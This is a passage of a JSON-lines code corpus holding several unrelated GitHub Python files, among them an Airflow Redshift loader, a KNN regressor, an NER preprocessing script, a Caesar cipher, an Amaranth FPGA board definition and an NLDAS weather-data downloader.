sys.exit(app.exec_())\n","repo_name":"gopro/gopro-lib-node.gl","sub_path":"pynodegl-utils/pynodegl_utils/ui/hooks_view.py","file_name":"hooks_view.py","file_ext":"py","file_size_in_byte":9607,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"35"} +{"seq_id":"70149910500","text":"import datetime\nimport os\nimport time\n\nimport torch\nfrom torch import nn\nfrom torchvision.utils import save_image\n\nfrom dataloader import get_loader\nfrom model import ReadabilityCNN\nfrom options import get_parser\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\ndef train(opts):\n\n # Dirs\n log_dir = os.path.join(\"readabilityCNN\", \"experiments\", opts.experiment_name)\n checkpoint_dir = os.path.join(log_dir, \"checkpoint\")\n samples_dir = os.path.join(log_dir, \"samples\")\n logs_dir = os.path.join(log_dir, \"logs\")\n\n # Path to data\n image_dir = os.path.join(\"./\",opts.data_root, opts.dataset_name, \"image\")\n attribute_path = os.path.join(\"./\",opts.data_root, opts.dataset_name, \"mdAttributes.txt\")\n font_readability_path = os.path.join(\"./\",opts.data_root, \"readability.csv\")\n\n test_dataloader = get_loader(image_dir, attribute_path, font_readability_path,\n dataset_name=\"explor_all\",\n image_size=64,\n n_style=4, batch_size=8,\n mode='test', binary=False,\n train_num=110, val_num=24)\n\n for batch_idx, batch in enumerate(test_dataloader):\n img_A = batch['img_A'].to(device)\n img_A_Data = img_A.data\n\n img2 = torch.clone(img_A)\n img3 = torch.clone(img_A)\n\n img_sample = torch.cat((img_A, img2),dim=1)\n save_file = os.path.join(logs_dir, f\"hehe_{batch_idx}.png\")\n save_image(img_sample, save_file, nrow=8, normalize=True)\n\nparser = get_parser()\nopts = parser.parse_args()\n\ntrain(opts)","repo_name":"erichmond33/Attr2MDfont","sub_path":"pokingAround/test_imageCat.py","file_name":"test_imageCat.py","file_ext":"py","file_size_in_byte":1684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"41836586144","text":"from airflow.hooks.postgres_hook import PostgresHook\nfrom airflow.models import BaseOperator\nfrom airflow.utils.decorators import apply_defaults\n\n\nclass LoadDimensionOperator(BaseOperator):\n\n ui_color = '#076D9F'\n\n @apply_defaults\n def __init__(self,\n schema,\n table,\n sql,\n truncate=True,\n redshift_conn_id='redshift',\n *args,\n **kwargs):\n\n super(LoadDimensionOperator, self).__init__(*args, **kwargs)\n self.schema = schema\n self.table = table\n self.sql = sql\n self.truncate = truncate\n self.redshift_conn_id = redshift_conn_id\n\n def execute(self, context):\n redshift_hook = PostgresHook('redshift')\n formatted_sql = self.sql.format(schema=self.schema, table=self.table)\n\n if self.truncate:\n self.log.info(\n 'Clearing data from Redshift table {self.schema}.{self.table}'\n )\n redshift_hook.run(f'TRUNCATE TABLE {self.schema}.{self.table}')\n\n self.log.info(\n f'Copying data to Redshift table {self.schema}.{self.table}'\n )\n redshift_hook.run(formatted_sql)\n","repo_name":"saur-dash/project_05__data_pipeline_with_airflow","sub_path":"plugins/operators/load_dimension.py","file_name":"load_dimension.py","file_ext":"py","file_size_in_byte":1223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"8503378602","text":"from app.constellation.Constellation import Constellation\nfrom app.constellation.ConstellationsFinder import ConstellationsFinder\nfrom app.constellation.KDTree import KDTree\nfrom app.constellation.StorePoint import StorePoint\n\nstore_list = StorePoint.get_stores()\nstore_lookup = KDTree(store_list, dim=2)\nconstellations = Constellation.get_constellations()\nstore_to_examine = StorePoint.get_store()\n\nwhile store_to_examine is not None:\n ConstellationsFinder(\n store_to_examine=store_to_examine,\n constellations=constellations,\n store_list=store_list,\n store_lookup=store_lookup\n ).run()\n store_to_examine = StorePoint.get_store()","repo_name":"thisGuyIsDavid/consellation","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"25638121686","text":"import json\n\n\ndef add_points(author_id, point_amount):\n db = open('database.json', 'r')\n json_data = json.load(db)\n db.close()\n db = open('database.json', 'w')\n if json_data.get(str(author_id)) is None:\n json_data[str(author_id)] = point_amount\n json_data[str(author_id)] += point_amount\n try:\n json.dump(json_data, db, indent=4)\n except Exception as e:\n print(e)\n db.close()\n\n\ndef get_points(discord_id):\n points = 0\n try:\n with open('database.json', 'r') as f:\n json_data = json.load(f)\n if json_data.get(discord_id) is None:\n return 0\n points = json_data[discord_id]\n except Exception as e:\n print(e)\n\n return points\n","repo_name":"nadzuwu/GuessTheAnime","sub_path":"database_functions.py","file_name":"database_functions.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"} +{"seq_id":"42024280889","text":"import csv\nimport sys\nimport math\nimport operator\n\n## Carrega os exemplos de treinamento da forma (atributos_nao_alvo, atributo_alvo)\ndef loadDataset(filename):\n dataMatrix = []\n dataLabels = []\n with open(filename) as file:\n rows = csv.reader(file, delimiter=',')\n for row in rows:\n vector = []\n for i in range(0, len(row)-1):\n vector.append(float(row[i]))\n dataMatrix.append(vector)\n dataLabels.append(float(row[len(row)-1]))\n return (dataMatrix, dataLabels)\n\n## Carrega os exemplos a serem classificados\ndef loadQueries(filename):\n dataMatrix = []\n with open(filename) as file:\n rows = csv.reader(file, delimiter=',')\n for row in rows:\n vector = []\n for i in range(0, len(row)):\n vector.append(float(row[i]))\n dataMatrix.append(vector)\n return dataMatrix\n\n## Calcula a distancia euclidiana entre dois exemplos\ndef euclideanDistance(sampleX, sampleY):\n euclideanDistance = 0.0\n for i in range(len(sampleX)):\n euclideanDistance += (sampleX[i] - sampleY[i]) ** 2\n euclideanDistance = math.sqrt(euclideanDistance)\n return euclideanDistance\n\ndef knn(k, dataMatrix, dataLabels, query):\n nearestNeighbor = []\n\n ## Calcula os K vizinhos mais proximos\n for i in range(len(dataMatrix)):\n distance = euclideanDistance(query, dataMatrix[i])\n\n if len(nearestNeighbor) > k:\n for j in range(len(nearestNeighbor)):\n ( _, distanceSample ) = nearestNeighbor[j]\n if ( distance < distanceSample ):\n nearestNeighbor[j] = (i, distance)\n else:\n nearestNeighbor.append((i, distance))\n \n ## Calcula a media dos valores do atributo alvo nos k vizinhos mais proximos\n sum = 0.0\n for (i, _ ) in nearestNeighbor:\n sum = sum + float(dataLabels[i])\n target = sum / float(k)\n \n return target\n\ndef classify(k=3):\n (dataMatrix, dataLabels) = loadDataset('parkinsons_updrs.csv')\n queries = loadQueries('queries.csv')\n\n for query in queries:\n target = knn(k, dataMatrix, dataLabels, query)\n print(str(query) + ' => ' + str(target))\n\ndef main():\n k = int(sys.argv[1])\n classify(k)\n\nif __name__ == \"__main__\":\n main()","repo_name":"HugoGustavo/KNN-Algorithm","sub_path":"knn.py","file_name":"knn.py","file_ext":"py","file_size_in_byte":2319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"32762226338","text":"#coding:utf-8\nimport os\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) #当前程序上上一级目录,这里为ner\nimport sys\nsys.path.append(BASE_DIR)\nprint(BASE_DIR)\nimport codecs\nimport re\nimport pandas as pd\nimport numpy as np\nfrom config.globalConfig import *\n\n#============================第一步:给每一个字打上标签===================================\ndef wordtag():\n #用utf-8-sig编码的原因是文本保存时包含了BOM(Byte Order Mark,字节顺序标记,\\ufeff出现在文本文件头部,为了去掉这个\n input_data = codecs.open(os.path.join(PATH,'data/msra/train.txt'),'r','utf-8-sig') #一般使用codes打开文件,不会出现编码问题\n output_data = codecs.open(os.path.join(PATH,'data/msra/wordtag.txt'),'w','utf-8') \n for line in input_data.readlines():\n #line=re.split('[,。;!:?、‘’“”]/[o]'.decode('utf-8'),line.strip())\n line = line.strip().split()\n \n if len(line)==0: #过滤掉''\n continue\n for word in line: #遍历列表中的每一个词\n word = word.split('/') #['希望工程', 'o'],每个词是这样的了\n if word[1]!='o': #如果不是o\n if len(word[0])==1: #如果是一个字,那么就直接给标签\n output_data.write(word[0]+\"/B_\"+word[1]+\" \")\n elif len(word[0])==2: #如果是两个字则拆分给标签\n output_data.write(word[0][0]+\"/B_\"+word[1]+\" \")\n output_data.write(word[0][1]+\"/E_\"+word[1]+\" \")\n else: #如果两个字以上,也是拆开给标签\n output_data.write(word[0][0]+\"/B_\"+word[1]+\" \")\n for j in word[0][1:len(word[0])-1]:\n output_data.write(j+\"/M_\"+word[1]+\" \")\n output_data.write(word[0][-1]+\"/E_\"+word[1]+\" \")\n else: #如果表示前是o的话,将拆开为字并分别给标签/o\n for j in word[0]:\n output_data.write(j+\"/o\"+\" \")\n output_data.write('\\n') \n input_data.close()\n output_data.close()\n\n#============================第二步:构建二维字列表以及其对应的二维标签列表===================================\nwordtag()\ndatas = list()\nlabels = list()\nlinedata=list()\nlinelabel=list()\n\n# 0表示补全的id\ntag2id = {'' :0,\n'B_ns' :1,\n'B_nr' :2,\n'B_nt' :3,\n'M_nt' :4,\n'M_nr' :5,\n'M_ns' :6,\n'E_nt' :7,\n'E_nr' :8,\n'E_ns' :9,\n'o': 10}\n\nid2tag = {0:'' ,\n1:'B_ns' ,\n2:'B_nr' ,\n3:'B_nt' ,\n4:'M_nt' ,\n5:'M_nr' ,\n6:'M_ns' ,\n7:'E_nt' ,\n8:'E_nr' ,\n9:'E_ns' ,\n10: 'o'}\n\n\ninput_data = codecs.open(os.path.join(PATH,'data/msra/wordtag.txt'),'r','utf-8')\nfor line in input_data.readlines(): #每一个line实际上是这样子的:当/o 希/o 望/o 工/o 程/o 救/o 助/o 注意最后多了个''\n line=re.split('[,。;!:?、‘’“”]/[o]'.encode(\"utf-8\").decode('utf-8'),line.strip()) #a按指定字符划分字符串\n for sen in line: #\n sen = sen.strip().split() #每一个字符串列表再按照弄空格划分,然后每个字是:当/o\n if len(sen)==0: #过滤掉为空的\n continue\n linedata=[]\n linelabel=[]\n num_not_o=0\n for word in sen: #遍历每一个字\n word = word.split('/') #第一位是字,第二位是标签\n linedata.append(word[0]) #加入到字列表\n linelabel.append(tag2id[word[1]]) #加入到标签列表,要转换成对应的id映射\n\n if word[1]!='o':\n num_not_o+=1 #记录标签不是o的字的个数\n if num_not_o!=0: #如果num_not_o不为0,则表明当前linedata和linelabel有要素\n datas.append(linedata) \n labels.append(linelabel)\n \ninput_data.close() \nprint(len(datas))\nprint(len(labels))\n\n#============================第三步:构建word2id以及id2word=================================== \n#from compiler.ast import flatten (在python3中不推荐使用),我们自己定义一个\ndef flat2gen(alist):\n for item in alist:\n if isinstance(item, list):\n for subitem in item: yield subitem\n else:\n yield item\nall_words = list(flat2gen(datas)) #获得包含所有字的列表\nsr_allwords = pd.Series(all_words) #转换为pandas中的Series\nsr_allwords = sr_allwords.value_counts() #统计每一个字出现的次数,相当于去重\nset_words = sr_allwords.index #每一个字就是一个index,这里的字按照频数从高到低排序了\nset_ids = range(1, len(set_words)+1) #给每一个字一个id映射,注意这里是从1开始,因为我们填充序列时使用0填充的,也就是id为0的已经被占用了 \nword2id = pd.Series(set_ids, index=set_words) #字 id\nid2word = pd.Series(set_words, index=set_ids) #id 字\n \nword2id[\"unknow\"] = len(word2id)+1 #加入一个unknow,如果没出现的字就用unknow的id代替\n\n#============================第四步:定义序列最大长度,对序列进行处理================================== \nmax_len = MAX_LEN #句子的最大长度\ndef X_padding(words):\n \"\"\"把 words 转为 id 形式,并自动补全位 max_len 长度。\"\"\"\n ids = list(word2id[words])\n if len(ids) >= max_len: # 长则弃掉\n return ids[:max_len]\n ids.extend([0]*(max_len-len(ids))) # 短则补全\n return ids\n\ndef y_padding(ids):\n \"\"\"把 tags 转为 id 形式, 并自动补全位 max_len 长度。\"\"\"\n if len(ids) >= max_len: # 长则弃掉\n return ids[:max_len]\n ids.extend([0]*(max_len-len(ids))) # 短则补全\n return ids\n\ndef get_true_len(ids):\n return len(ids)\n\ndf_data = pd.DataFrame({'words': datas, 'tags': labels}, index=range(len(datas))) #DataFrame,索引是序列的个数,列是字序列以及对应的标签序列\ndf_data['length'] = df_data[\"tags\"].apply(get_true_len) #获得每个序列真实的长度\ndf_data['length'][df_data['length'] > MAX_LEN] = MAX_LEN #这里需要注意,如果序列长度大于最大长度,则其真实长度必须设定为最大长度,否则后面会报错\ndf_data['x'] = df_data['words'].apply(X_padding) #超截短补,新定义一列\ndf_data['y'] = df_data['tags'].apply(y_padding) #超截短补,新定义一列\nx = np.asarray(list(df_data['x'].values)) #转为list\ny = np.asarray(list(df_data['y'].values)) #转为list\nlength = np.asarray(list(df_data['length'].values)) #转为list\n\n#============================第四步:划分训练集、测试集、验证集================================== \n#from sklearn.model_selection import train_test_split\n#x_train,x_test, y_train, y_test = train_test_split(x, y, test_size=0.1, random_state=43) #random_state:避免每一个划分得不同\n#x_train, x_valid, y_train, y_valid = train_test_split(x_train, y_train, test_size=0.2, random_state=43)\n#我们要加入每��序列的长度,因此sklearn自带的划分就没有用了,自己写一个\ndef split_data(data,label,seq_length,ratio):\n len_data = data.shape[0]\n #设置随机数种子,保证每次生成的结果都是一样的\n np.random.seed(43)\n #permutation随机生成0-len(data)随机序列\n shuffled_indices = np.random.permutation(len_data)\n #test_ratio为测试集所占的百分比\n test_set_size = int(len_data * ratio) \n test_indices = shuffled_indices[:test_set_size]\n train_indices = shuffled_indices[test_set_size:]\n train_data = data[train_indices,:]\n train_label = label[train_indices]\n train_seq_length = seq_length[train_indices]\n test_data = data[test_indices,:]\n test_label = label[test_indices]\n test_seq_length = seq_length[test_indices]\n return train_data,test_data,train_label,test_label,train_seq_length,test_seq_length\nx_train,x_test, y_train, y_test, z_train, z_test = split_data(x, y, seq_length=length, ratio=0.1) #random_state:避免每一个划分得不同\nx_train, x_valid, y_train, y_valid, z_train, z_valid = split_data(x_train, y_train, seq_length=z_train, ratio=0.2)\n\n#============================第五步:将所有需要的存为pickle文件备用================================== \nprint('Finished creating the data generator.')\nimport pickle\nimport os\nwith open(os.path.join(PATH,'process_data/msra/MSRA.pkl'), 'wb') as outp:\n pickle.dump(word2id, outp)\n pickle.dump(id2word, outp)\n pickle.dump(tag2id, outp)\n pickle.dump(id2tag, outp)\n pickle.dump(x_train, outp)\n pickle.dump(y_train, outp)\n pickle.dump(z_train, outp)\n pickle.dump(x_test, outp)\n pickle.dump(y_test, outp)\n pickle.dump(z_test, outp)\n pickle.dump(x_valid, outp)\n pickle.dump(y_valid, outp)\n pickle.dump(z_valid, outp)\nprint('** Finished saving the data.')\n","repo_name":"taishan1994/tensorflow-bilstm-crf","sub_path":"process/process_msra.py","file_name":"process_msra.py","file_ext":"py","file_size_in_byte":8630,"program_lang":"python","lang":"zh","doc_type":"code","stars":11,"dataset":"github-code","pt":"35"} +{"seq_id":"38930716454","text":"import requests,json\nfrom twilio.rest import Client\n\n## Wunderground credentials\nzipcode = \"\"\nkey = \"\"\nurl = \"http://api.wunderground.com/api/\" + key + \"/conditions/q/\" + zipcode + \".json\"\n\n## Twilio credentials\naccount = \"\"\ntoken = \"\"\n\nresult = requests.get(url)\nparsed_json = json.loads(result.text)\nlocation = parsed_json['current_observation']['display_location']['city']\ntemp_f = parsed_json['current_observation']['temp_f']\nweather = parsed_json['current_observation']['weather']\nmsg = \"Current temperature in \" + location + \" is \" + str(temp_f) + \" and the weather is \" + weather + \".\"\n\n## Create twilio client object\nclient = Client(account, token)\nmessage = client.messages.create(to=\"\", from_=\"\",\n body=msg)\n\nresult.close()\n","repo_name":"venkateshmantha/WeatherNotif","sub_path":"weather-notif.py","file_name":"weather-notif.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"4447367040","text":"import sys\n\n\ndef encode_char(c, shift):\n if len(c) != 1:\n raise ValueError()\n\n if c.isalpha():\n start = ord('A' if c.isupper() else 'a')\n return chr(start + (ord(c) - start + shift) % 26)\n else:\n return c\n\n\ndef encode_str(s, shift):\n if not isinstance(s, str):\n raise ValueError()\n\n return \"\".join([encode_char(c, shift) for c in s])\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 2:\n print(\"Usage: {} \".format(sys.argv[0]), file=sys.stderr)\n exit(1)\n\n shift = int(sys.argv[1])\n for line in sys.stdin:\n line = line.rstrip()\n print(encode_str(line, shift))\n","repo_name":"vtykhoniuk/Python","sub_path":"coding-tasks/ccipher.py","file_name":"ccipher.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"22051273073","text":"import os\nimport sys\nimport xlwings as xw\n\n# import configparser\ncurpath = os.path.dirname(os.path.realpath(__file__))\nxlspath = os.path.join(curpath, 'xlsbook')\nxls_name = []\nfor _xls_name in os.listdir(xlspath):\n if _xls_name.endswith('xlsx'):\n xls_name.append(_xls_name)\n# print(xls_name)\nif not xls_name:\n print('没有找到Excel表格,请检查当前目录')\n sys.exit(0)\nfor _xls_name in xls_name:\n wb = xw.Book(os.path.join(xlspath, _xls_name))\n wb.api.Application.ErrorCheckingOptions.BackgroundChecking = False # 关闭Excel错误检查\n break\n","repo_name":"Donatello2020/Consolidated_statements","sub_path":"new_data/new_data.py","file_name":"new_data.py","file_ext":"py","file_size_in_byte":580,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"31700959436","text":"from django.http import HttpResponse\nfrom django.shortcuts import redirect, render\nfrom .models import Teachers_info\nfrom Dashboard.forms import Teacher_Form\nfrom django.contrib.auth.models import User\n# Create your views here.\n\n\ndef teacher(request):\n if request.user.is_authenticated:\n teacher = Teachers_info.objects.all()\n return render(request, 'teacher/teacher.html', {'teacher': teacher})\n else:\n return redirect(\"/login\")\n\n\ndef teacher_added(request):\n if request.user.is_authenticated:\n if request.method == \"POST\":\n fm = Teacher_Form(request.POST, request.FILES)\n if fm.is_valid():\n fm.save()\n redirect('/dashboard')\n else:\n fm = Teacher_Form()\n return render(request, 'dashboard/teacher_add.html', {'form': fm})\n else:\n return redirect(\"/login\")\n","repo_name":"Devsabirul/shisacomputer_deploy","sub_path":"teacher/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"21603907166","text":"from gearbox.migrations import Migration\n\nclass AddTableTrunk(Migration):\n\n database = \"star\"\n\n def up(self):\n t = self.table('Trunk', area=\"Sta_Data_256\", label=\"Trunk\", dump_name=\"trunk\", desc=\"Trunk groups in each exchange\")\n t.column('ExCode', 'character', format=\"x(8)\", initial=\"\", max_width=16, label=\"Switch\", column_label=\"Switch\", position=2, order=10, help=\"Swicth code\")\n t.column('TrunkCode', 'character', format=\"x(7)\", initial=\"\", max_width=14, label=\"Trunk Code\", column_label=\"Trunk Code\", position=3, order=20, help=\"Trunk group's code\")\n t.column('Memo', 'character', format=\"x(60)\", initial=\"\", max_width=610, label=\"Memo\", column_label=\"Memo\", extent=5, position=4, order=30, help=\"Memo\")\n t.column('TrunkName', 'character', format=\"x(40)\", initial=\"\", max_width=80, label=\"Trunk name\", column_label=\"Trunk name\", position=5, order=15, help=\"Name of a Circuit Group Route\")\n t.column('OpCode', 'character', mandatory=True, format=\"x(8)\", initial=\"\", max_width=16, label=\"Operator\", column_label=\"Operator\", position=6, order=40, help=\"Operator code, 1 - 8 characters\")\n t.column('TrInternat', 'logical', format=\"Int/Nat\", initial=\"No\", max_width=1, label=\"Int.\", column_label=\"Int.\", position=7, order=50, help=\"International / National traffic\")\n t.column('TrunkGroup', 'character', format=\"x(16)\", initial=\"\", max_width=32, label=\"Group\", column_label=\"Group\", position=9, order=70, help=\"GROUP Name\")\n t.column('TrIn', 'logical', format=\"Out/In\", initial=\"Yes\", max_width=1, label=\"Conn.\", column_label=\"Conn.\", position=10, order=60, help=\"In / Out traffic\")\n t.index('ExCode', [['ExCode'], ['TrunkGroup'], ['TrunkCode']], area=\"Sta_Index_2\", primary=True)\n t.index('Operator', [['OpCode'], ['ExCode'], ['TrunkGroup'], ['TrunkCode']], area=\"Sta_Index_2\")\n t.index('TrunkCode', [['TrunkCode'], ['ExCode']], area=\"Sta_Index_2\")\n\n def down(self):\n self.drop_table('Trunk')\n","repo_name":"subi17/ccbs_new","sub_path":"db/progress/migrations/0439_add_table_star_trunk.py","file_name":"0439_add_table_star_trunk.py","file_ext":"py","file_size_in_byte":1995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"475606217","text":"import os\nimport subprocess\nfrom pathlib import Path\n\nfrom amaranth.build import *\nfrom amaranth.vendor import *\nfrom amaranth_boards.resources import *\n\n\n__all__ = [\"IcoboardPlatform\"]\n\n\nclass IcoboardPlatform(LatticeICE40Platform):\n device = \"iCE40HX8K\"\n package = \"CT256\"\n default_clk = \"clk100\"\n resources = [\n Resource(\"clk100\", 0, Pins(\"R9\", dir=\"i\"),\n Clock(100e6), Attrs(GLOBAL=True, IO_STANDARD=\"SB_LVCMOS\")),\n\n *LEDResources(pins=\"C8 F7 K9\", attrs=Attrs(IO_STANDARD=\"SB_LVCMOS\")),\n\n *ButtonResources(pins=\"K11 P13\", attrs=Attrs(IO_STANDARD=\"SB_LVCMOS\")),\n\n SRAMResource(0,\n cs_n=\"M7\", oe_n=\"L5\", we_n=\"T7\",\n a=\"N2 K5 J5 M5 P4 N5 P5 P7 M6 P6 T8 T1 P2 R1 N3 P1 M11 P10 P8\",\n d=\"T2 R3 T3 R4 R5 T5 R6 T6 N4 M4 L6 M3 L4 L3 K4 K3\",\n dm_n=\"J4 J3\",\n attrs=Attrs(IO_STANDARD=\"SB_LVCMOS\"),\n ),\n\n *SPIFlashResources(0,\n cs_n=\"R12\", clk=\"R11\", copi=\"P12\", cipo=\"P11\",\n attrs=Attrs(IO_STANDARD=\"SB_LVCMOS\")\n ),\n ]\n connectors = [\n Connector(\"pmod\", 1, \"D8 B9 B10 B11 - - B8 A9 A10 A11 - -\"),\n Connector(\"pmod\", 2, \"A5 A2 C3 B4 - - B7 B6 B3 B5 - -\"),\n Connector(\"pmod\", 3, \"L9 G5 L7 N6 - - N9 P9 M8 N7 - -\"),\n Connector(\"pmod\", 4, \"T15 T14 T11 R10 - - R14 T13 T10 T9 - -\"),\n ]\n\n def toolchain_program(self, products, name):\n icoprog = os.environ.get(\"ICOPROG\", \"icoprog\")\n with products.extract(\"{}.bin\".format(name)) as bitstream_filename:\n bitstream = Path(bitstream_filename).read_bytes()\n subprocess.run([icoprog, \"-p\"], input=bitstream, check=True)\n\n\nif __name__ == \"__main__\":\n from amaranth_boards.test.blinky import *\n IcoboardPlatform().build(Blinky(), do_program=True)\n","repo_name":"cbiffle/hapenny","sub_path":"boards/icoboard.py","file_name":"icoboard.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"35"} +{"seq_id":"43826707320","text":"\"\"\"\r\nTask-1: BankAccount System\r\n1. Create a Python class named BankAccount.\r\n2. Define the following methods within the BankAccount class:\r\n\tset_account_details(self, account_number, account_holder_name, initial_balance=0)\r\n\tdeposit(self, amount)\r\n\twithdraw(self, amount)\r\n\tdisplay_account_info(self)\r\n3. Create an object of the BankAccount class.\r\n4. Use the set_account_details method to set the account number, account holder's name, and initial balance.\r\n5. Use the deposit and withdraw methods to simulate depositing and withdrawing money from the account.\r\n6. Finally, use the display_account_info method to print the account details.\r\n\"\"\"\r\n\r\nclass BankAccount:\r\n def set_account_details(self, account_number, account_holder_name, initial_balance=0):\r\n self.account_number = account_number\r\n self.account_holder_name = account_holder_name\r\n self.balance = initial_balance\r\n def deposit(self, amount):\r\n self.balance += amount\r\n def withdraw(self, amount):\r\n self.balance -= amount\r\n def display_account_info(self):\r\n print(\"Account Number:\", self.account_number)\r\n print(\"Account Holder Name:\", self.account_holder_name)\r\n print(\"Balance:\", self.balance)\r\n\r\naccount = BankAccount()\r\nacc_number = input(\"Enter Account Number: \")\r\nacc_holder_name = input(\"Enter Account Holder Name: \")\r\naccount.set_account_details(acc_number, acc_holder_name)\r\n\r\ndeposit_amount = int(input(\"Enter Deposit Amount: \"))\r\naccount.deposit(deposit_amount)\r\n\r\nwithdraw_amount = int(input(\"Enter Withdraw Amount: \"))\r\naccount.withdraw(withdraw_amount)\r\n\r\nprint()\r\naccount.display_account_info()","repo_name":"NoorUlBaseer/Assignment-5","sub_path":"Q1.py","file_name":"Q1.py","file_ext":"py","file_size_in_byte":1643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"28863652265","text":"from __future__ import print_function\n\nfrom collections import OrderedDict\nimport datetime\nfrom functools import partial\nimport os\n\nimport dill\nfrom earthio import Canvas, drop_na_rows, flatten\nfrom elm.pipeline import Pipeline, steps\nfrom elm.pipeline.ensemble import ensemble\nfrom elm.pipeline.predict_many import predict_many\nfrom pydap.cas.urs import setup_session\nfrom sklearn.decomposition import PCA\nfrom sklearn.gaussian_process import GaussianProcessRegressor\nfrom sklearn.linear_model import (LinearRegression, SGDRegressor,\n RidgeCV, Ridge)\nfrom sklearn.metrics import r2_score, mean_squared_error, make_scorer\nfrom elm.model_selection.sorting import pareto_front\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport xarray as xr\n\nVIC, FORA = ('NLDAS_VIC0125_H', 'NLDAS_FORA0125_H',)\n\nNGEN = 1\nNSTEPS = 1\n\nX_TIME_STEPS = 144\nX_TIME_AVERAGING = [0, 3, 6, 9, 12, 18, 24, 36, 48] + list(range(72, X_TIME_STEPS, 24))\n\nBASE_URL = 'https://hydro1.gesdisc.eosdis.nasa.gov/data/NLDAS/{}/{:04d}/{:03d}/{}'\n\nSOIL_MOISTURE = 'SOIL_M_110_DBLY'\n\nPREDICTOR_COLS = None # Set this to a list to use only a subset of FORA DataArrays\n\nSTART_DATE = datetime.datetime(2000, 1, 1, 1, 0, 0)\n\ndef get_session():\n u, p = os.environ['NLDAS_USER'], os.environ['NLDAS_PASS']\n return setup_session(u, p)\n\nSESSION = get_session()\n\nnp.random.seed(42) # TODO remove\n\nTOP_N_MODELS = 6\nMIN_MOISTURE_BOUND, MAX_MOISTURE_BOUND = -80, 2000\nMIN_R2 = 0.\n\nDIFFERENCE_COLS = [ # FORA DataArray's that may be differenced\n 'A_PCP_110_SFC_acc1h',\n 'PEVAP_110_SFC_acc1h',\n 'TMP_110_HTGL',\n 'DSWRF_110_SFC',\n 'PRES_110_SFC',\n 'DLWRF_110_SFC',\n 'V_GRD_110_HTGL',\n 'SPF_H_110_HTGL',\n 'U_GRD_110_HTGL',\n 'CAPE_110_SPDY',\n]\n\ndef make_url(year, month, day, hour, dset, nldas_ver='002'):\n '''For given date components, data set identifier,\n and NLDAS version, return URL and relative path for a file\n\n Returns:\n url: URL on hydro1.gesdisc.eosdis.nasa.gov\n rel: Relative path named like URL pattern\n '''\n start = datetime.datetime(year, 1, 1)\n actual = datetime.datetime(year, month, day)\n julian = int(((actual - start).total_seconds() / 86400) + 1)\n vic_ver = '{}.{}'.format(dset, nldas_ver)\n fname_pat = '{}.A{:04d}{:02d}{:02d}.{:04d}.{}.grb'.format(dset, year, month, day, hour * 100, nldas_ver)\n url = BASE_URL.format(vic_ver, year, julian, fname_pat)\n rel = os.path.join('{:04d}'.format(year),\n '{:03d}'.format(julian),\n fname_pat)\n return url, rel\n\n\ndef get_file(*args, **kw):\n '''Pass date components and dset arguments to make_url and\n download the file if needed. Return the relative path\n in either case\n\n Parameters:\n See make_url function above: Arguments are passed to that function\n\n Returns:\n rel: Relative path\n '''\n url, rel = make_url(*args, **kw)\n path, basename = os.path.split(rel)\n if not os.path.exists(rel):\n if not os.path.exists(path):\n os.makedirs(path)\n print('Downloading', url, 'to', rel)\n r = SESSION.get(url)\n with open(rel, 'wb') as f:\n f.write(r.content)\n return rel\n\n\ndef get_nldas_fora_X_and_vic_y(year, month, day, hour,\n vic_or_fora, band_order=None,\n prefix=None, data_arrs=None,\n keep_columns=None):\n '''Load data from VIC for NLDAS Forcing A Grib files\n\n Parameters:\n year: year of forecast time\n month: month of forecast time\n day: day of forecast time\n vic_or_fora: string indicating which NLDAS data source\n band_order: list of DataArray names already loaded\n prefix: add a prefix to the DataArray name from Grib\n data_arrs: Add the DataArrays to an existing dict\n keep_columns: Retain only the DataArrays in this list, if given\n Returns:\n tuple or (data_arrs, band_order) where data_arrs is\n an OrderedDict of DataArrays and band_order is their\n order when they are flattened from rasters to a single\n 2-D matrix\n '''\n data_arrs = data_arrs or OrderedDict()\n band_order = band_order or []\n path = get_file(year, month, day, hour, dset=vic_or_fora)\n dset = xr.open_dataset(path, engine='pynio')\n for k in dset.data_vars:\n if keep_columns and k not in keep_columns:\n continue\n arr = getattr(dset, k)\n if sorted(arr.dims) != ['lat_110', 'lon_110']:\n continue\n #print('Model: ',f, 'Param:', k, 'Detail:', arr.long_name)\n lon, lat = arr.lon_110, arr.lat_110\n geo_transform = [lon.Lo1, lon.Di, 0.0,\n lat.La1, 0.0, lat.Dj]\n shp = arr.shape\n canvas = Canvas(geo_transform, shp[1], shp[0], arr.dims)\n arr.attrs['canvas'] = canvas\n if prefix:\n band_name = '{}_{}'.format(prefix, k)\n else:\n band_name = k\n data_arrs[band_name] = arr\n band_order.append(band_name)\n return data_arrs, band_order\n\n\ndef sampler(date, X_time_steps=144, **kw):\n '''Sample the NLDAS Forcing A GriB file(s) for X_time_steps\n and get a VIC data array from GriB for the current step to use\n as Y data\n\n Parameters:\n date: Datetime object on an 